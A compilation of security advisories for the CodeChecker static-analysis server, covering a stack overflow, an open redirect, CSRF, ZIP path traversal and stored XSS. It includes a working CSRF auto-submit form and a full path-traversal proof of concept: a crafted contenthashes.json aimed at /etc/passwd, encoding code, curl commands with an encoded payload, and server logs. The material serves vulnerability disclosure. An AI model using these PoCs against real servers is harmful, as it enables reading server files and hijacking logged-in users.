CVE-2025-40843 https://github.com/advisories/GHSA-5xf2-f6ch-6p8r was fixed by replacing unchecked strcpy() with a bounded safestrcpy() helper. At ldlogger-tool-gcc.c:129 the destination passed to that helper is fullPath + 2, but the size passed down is the full PATHMAX. safestrcpy() is strncpy(), which NUL-pads the destination out to the whole n, so this site writes 4096 bytes into the 4094 that remain — a 2-byte stack overflow on every invocation, independent of the input path's length.
This issue affects CodeChecker: through 6.28.2.
CodeChecker is an analyzer tooling, defect database and viewer extension for the Clang Static Analyzer and Clang Tidy.
The CodeChecker web server contains an open redirect vulnerability due to missing protections against multiple slashes after the product name in the URL. This results in bypassing the protections against CVE-2021-28861, leading to the same open redirect pathway.
This issue affects CodeChecker: through 6.24.5.
Summary Cross-site request forgery allows an unauthenticated attacker to hijack the authentication of a logged in user, and use the web API with the same permissions.
Details Security attributes like HttpOnly and SameSite are missing from the session cookie, allowing its use from XHR requests and form submissions. The CodeChecker API endpoints only require the session cookie, they do not require a CSRF token, and missing HTTP headers allow the form submission to succeed (but not XHR). This means that the attacker needs to know the ID of products to edit or delete them, but it does not need knowledge to create new products with the SQLite backend.
PoC With a superuser logged into CodeChecker.
html <html><body> <form action="https://codechecker.example.com/v6.58/Products" method="POST" enctype="text/plain"> <input type="text" name='[1,"getProducts",1,1,{}]' value=''> </form> <script>document.forms[0].submit()</script> </body></html> Or the same form attack on any of the applicable endpoints.
Impact The vulnerability allows an attacker to make requests to CodeChecker as the currently logged in user, including but not limited to adding, removing or editing products. The attacker needs to know the ID of the available products to modify or delete them. The attacker cannot directly exfiltrate data from CodeChecker, due to being limited to form-based CSRF.
Summary
ZIP files uploaded to the server-side endpoint handling a CodeChecker store are not properly sanitized. An attacker can exercise a path traversal to make the CodeChecker server load and display files from an arbitrary location on the server machine.
Details
Target
The vulnerable endpoint is /<PRODUCTURL>/v6.53/CodeCheckerService@massStoreRun.
Exploit overview
The attack is made possible by improper sanitization at one point in the process.
1. When the ZIP file is uploaded by CodeChecker store, it is first unzipped to a temporary directory (safely). 2. When deciding which files to insert into CodeChecker's internal database, the decision is made based on the contenthashes.json in the ZIP. An attacker has control over the contents of this file. 3. After reading that file, the paths specified in the JSON are normalized by this code: https://github.com/Ericsson/codechecker/blob/fa41e4e5d9566b5a4f5a80a27bddec73a5146f5a/web/server/codecheckerserver/api/massstorerun.py#L442-L444 4. Providing sufficiently many ../../s inside the contenthashes.json, an attacker can control the insertion of completely arbitrary files into CodeChecker's internal database. 5. This is confirmed in the log output: massstorerun.py:444 storesourcefiles() - Storing source file: /etc/passwd 6. Once the file is inserted into the internal database, it can be displayed trivially on the Web interface. As CodeChecker doesn't distinguish between filenames after the ZIP is extraced, an attacker can define aliases in contenthashes.json. massstorerun.py:444 storesourcefiles() - Storing source file: /home/discookie/.codechecker/tmpx7hg1teb/root/etc/passwd massstorerun.py:453 storesourcefiles() - /etc/passwd not found or already stored. 7. The file is displayed in the Web UI if and only if there is at least one bug report in it. The bug reports are coming from the ZIP and the attacker can craft the required contents for this. If done so, the logs confirm the requirement for presenting the results of the exploit will be triggered: hash.py:208 getreportpathhash() - 2|12|Path traversal|/etc/passwdcore.DivideZero3d3a7db6520247eaf90719a53d7103e2 8. The server emits the contents of the injected files from the server's database to all users: !CodeChecker's Web UI showing the snapshot of the /etc/passwd file that was injected to the database due to the path traversal attack.
[!NOTE] The file is shown with the contents as it was on the system when the exploited CodeChecker store was exercised. This attack does not allow the server to return the "live" contents of a file on the server's storage — the attacker(s) must recurringly exercise the exploit to keep the injected files "updated" in the database.
PoC
The minimal example that can trigger the exploit can be downloaded: PoC.zip.
The key to the exploit is the contenthashes.json file. The additional files create a report in the loaded /etc/passwd file, so it is displayed in the web UI.
<details><summary><tt>/contenthashes.json</tt></summary>
json {"/../../../../../../../../../../../../../../../etc/passwd": "malformedhash", "/etc/passwd": "malformedhash"} </details>
Uploading the ZIP to the server
The communication between the CodeChecker store and the server is done by transmitting the ZIP file in a Base64-encoded string. Encoding the ZIP into the format of the API can be done with Python:
py import base64 import zlib
with open("PoC.zip", "rb") as f: contents = f.read() encoded = base64.b64encode(zlib.compress(contents)) print(encoded)
The result of the compression and encoding can be sent to the running server over the API. When the API is called, the exploit is exercised.
bash curl "<SERVERURL>/<PRODUCTURL>/v6.53/CodeCheckerService" \ --data \ '[1,"massStoreRun",1,0,{"1":{"str":"poc"},"3":{"str":"6.22.1"},"4":{"str":"<ENCODEDZIP>"},"5":{"tf":0}}]'
<details><summary>One-line PoC</summary>
bash curl "http://localhost:8001/Default/v6.53/CodeCheckerService" \ --data \ '[1,"massStoreRun",1,0,{"1":{"str":"poc"},"3":{"str":"6.22.1"},"4" {"str":"eJzNVk9vIzUUT3cpS4MqIcEB2Msw6oGV2vmXzKRZZVPYdpGqLSXSdrXqVquRM+NJhk7GI9tpN5Qe0SJx4MARCfEB+AaIE2glrnAAwY0DXwAQ4gT2ZCbj+ZNI2ROTWLaff+/5+edn+/XuXn2uXuOfi48frP7zh49Ym5eXWXFQSGFI7SEgQ0iU9wkKL2RVUZb4Q+qoESDk3JVvSvIIBB7CI+jGJuVNSV4MuOwx/16J/fvQP35QE74XWMEwQpgSNUMhnEfdEFCg5WoeMFxLc7Vtz2u0XVNvt0yrrbcA8JqN2MyUjK+YGeutk78fXqnVeLGWMTOCFLiAgilf63WJffIZxMRHIVujsZmIKEIBYYKTaZ9/F1kzhoRgBDktDnKhM4TOKcTyZgEDHMoM2+F4xJCN4qiDRiMQcm5PHhXHMp9kSzEMRZfe3Aag3296Ld2Ebrule6bnsbXp/WZjGxrA0TRNt6DeNG+U3DhH+NQPB7brY+hQhCfcrFqCoTGNxtSOAB1WAzAk44DaBI2xA23PDyDnqEBMjCRgFAVQiQKf0NiWEEp5+GWJsxAEkw/Y8rnp0ig59aMIcs604hD1R5BQNvE8p/pw4HNGdau9bTTaTaOpaJap66axWYGG8c4IWNPSrEazWXA/6ybNR+v1yyxa77Fo/WtlfPuja7UaL+Yy0Sqy2Nl5PAqkJCxuybqiyRIMWfCxjb0l3z96Z2tb3unWO2/svbd7dNy7I8VaUu/+7YP9XUneUtW3I2ZMVfeO9qTewf69I4nZUNU7h7IkDymNbqrq+fm5AjhKYaHJgez4YhRBTCcHzNgWU1Bc6spsmqn1nDtM6voO7dbXOqdw0nV9MAgRob5DOioXMDnAGPDGWopcm2IdQOGAxWUKZGJCMVtZ9wANfEeCGCPcURNZpsaPnc0PYlnRQRgqe/6Z78KHEKOysguJg/2IH9Cydo+dAYliwBcIgrKyT8gYxvegnV7EyLMDP4S2H05Fj2nZbMNtsE3vW6ahGc0WBF5ba+ltYDbclq41oFGeKECMm7yLM+oSElCQDa51fDb1AOKuzoyl7QzMz2wVWqsC8+VUgQuWO2p+M/n9Ibg72/Oc6+keRCJ2gUNTPLvF3Bw8oQuesR3IkTeXvrwXVRQuIrGaxkV+V1I5n8wcnYkyu9YIGMCqhS+I00QZg3AASU5X2JFiL0/OHHpEgsrrnUfRQpLm0bSIqAJVy/ve/P/43lHFbcj1xOOVyWfSTDZzveq+TQJDeIeFYCnYSJOkmZnUgXg0fZ9nay3c5XOu44DFIQFihGYLi/UGMISYvQOu3Z8sZ3uXZWC70wysfIEmT1RZa5pWVTqUNrI6fu669d7dlSs7tXlJ+UaS2EpJXZGi15PBldqrtU++6LQOr/2ycvr0z095/evn13/cY/V0knmZdTrJS6x8KSQTouWfn7weW/qe/Pvtu6xO+6LlcjYuWn66TJoiTj0xvV2+mB9+I8eHpannZfAic+srz5rPi358Ix98zOdP69c2rpf8KOdmoh9fX33GTE104+LJ7xt8+rT+7qeUjtXnOWaV/fYZBZ+9yHv/Ac5gmHc="},"5":{"tf":0}}]' </details>
<details><summary>Full server logs for the <tt>store</tt> processing</summary>
[INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - server.py:342 doPOST() - 127.0.0.1:33352 -- [Anonymous] POST /Default/v6.53/CodeCheckerService@massStoreRun [INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:61 enter() - [poc] Unzip storage file... [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:82 unzip() - Unzipping mass storage ZIP '/tmp/tmpenegwbxj.zip' to '/home/discookie/.codechecker/tmpx7hg1teb'... [INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:64 exit() - [poc] Unzip storage file done... (duration: 0.0 sec) [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:1298 store() - Using unzipped folder '/home/discookie/.codechecker/tmpx7hg1teb' [INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:61 enter() - [poc] Store source files... [INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:1310 store() - [poc] Storing 2 source file(s). [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:444 storesourcefiles() - Storing source file: /etc/passwd [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:444 storesourcefiles() - Storing source file: /home/discookie/.codechecker/tmpx7hg1teb/root/etc/passwd [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:453 storesourcefiles() - /etc/passwd not found or already stored. [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:463 storesourcefiles() - 17 fileid found [INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:64 exit() - [poc] Store source files done... (duration: 0.01 sec) [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:1363 store() - Storing into run 'poc' locked at '2023-10-25 14:30:31.615536'. [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:686 addorupdaterun() - Adding run 'poc'... [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:730 addorupdaterun() - Adding run history. [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:755 addorupdaterun() - Adding run done. [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:761 addorupdaterun() - Storing analysis statistics done. [INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:61 enter() - [poc] Store reports... [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:1163 storereports() - Get reports from '/home/discookie/.codechecker/tmpx7hg1teb/reports' directory [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:1163 storereports() - Get reports from '/home/discookie/.codechecker/tmpx7hg1teb/reports/a7d0fa2d60d08ff39d519756917aaf43' directory [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:1175 storereports() - Parsing input file 'sample.plist' [DEBUG][2023-10-25 14:30:31] {report-converter} [2043] <139754026274816> - hash.py:208 getreportpathhash() - 2|12|Path traversal|/etc/passwdcore.DivideZero3d3a7db6520247eaf90719a53d7103e2 [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:987 processreportfile() - Storing report to the database... [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:827 addreportcontext() - Storing bug path positions. [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:834 addreportcontext() - Storing bug path events. [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:842 addreportcontext() - Storing notes. [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:853 addreportcontext() - Storing macro expansions. [INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:1220 storereports() - [poc] Processed 1 analyzer result file(s). [INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:64 exit() - [poc] Store reports done... (duration: 0.1 sec) [DEBUG][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:1260 finishcheckerrun() - Finishing checker run [INFO][2023-10-25 14:30:31] {server} [2043] <139754026274816> - massstorerun.py:1397 store() - 'Anonymous' stored results (3 KB /decompressed/) to run 'poc' (id: 16) in 0.15 seconds. [INFO][2023-10-25 14:30:31] {storetime} [2043] <139754026274816> - massstorerun.py:1414 store() - 2023-10-25T14:30:31.612326, 0.15s, "Default", "poc", 3KB, 1, 16 [DEBUG][2023-10-25 14:30:31] {profiler} [2043] <139754026274816> - profiler.py:59 debugwrapper() - [0.173351s] massStoreRun </details>
Impact The path traversal vulnerability allows reading data on the machine of the CodeChecker server, with the same permission level as the CodeChecker server process. This allows for the exfiltration from the server-side storage medium. If the CodeChecker server is run with authentication enabled (not the default configuration), then the attack requires a valid user account on the CodeChecker server, with the permission to store to a database, and view the stored reports.
CVSS 3.1 Base Score: 6.5 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Reproducible up to version 6.22.1.
In Ericsson CodeChecker through 6.18.0, a Stored Cross-site scripting (XSS) vulnerability in the comments component of the reports viewer allows remote attackers to inject arbitrary web script or HTML via the POST JSON data of the /CodeCheckerService API.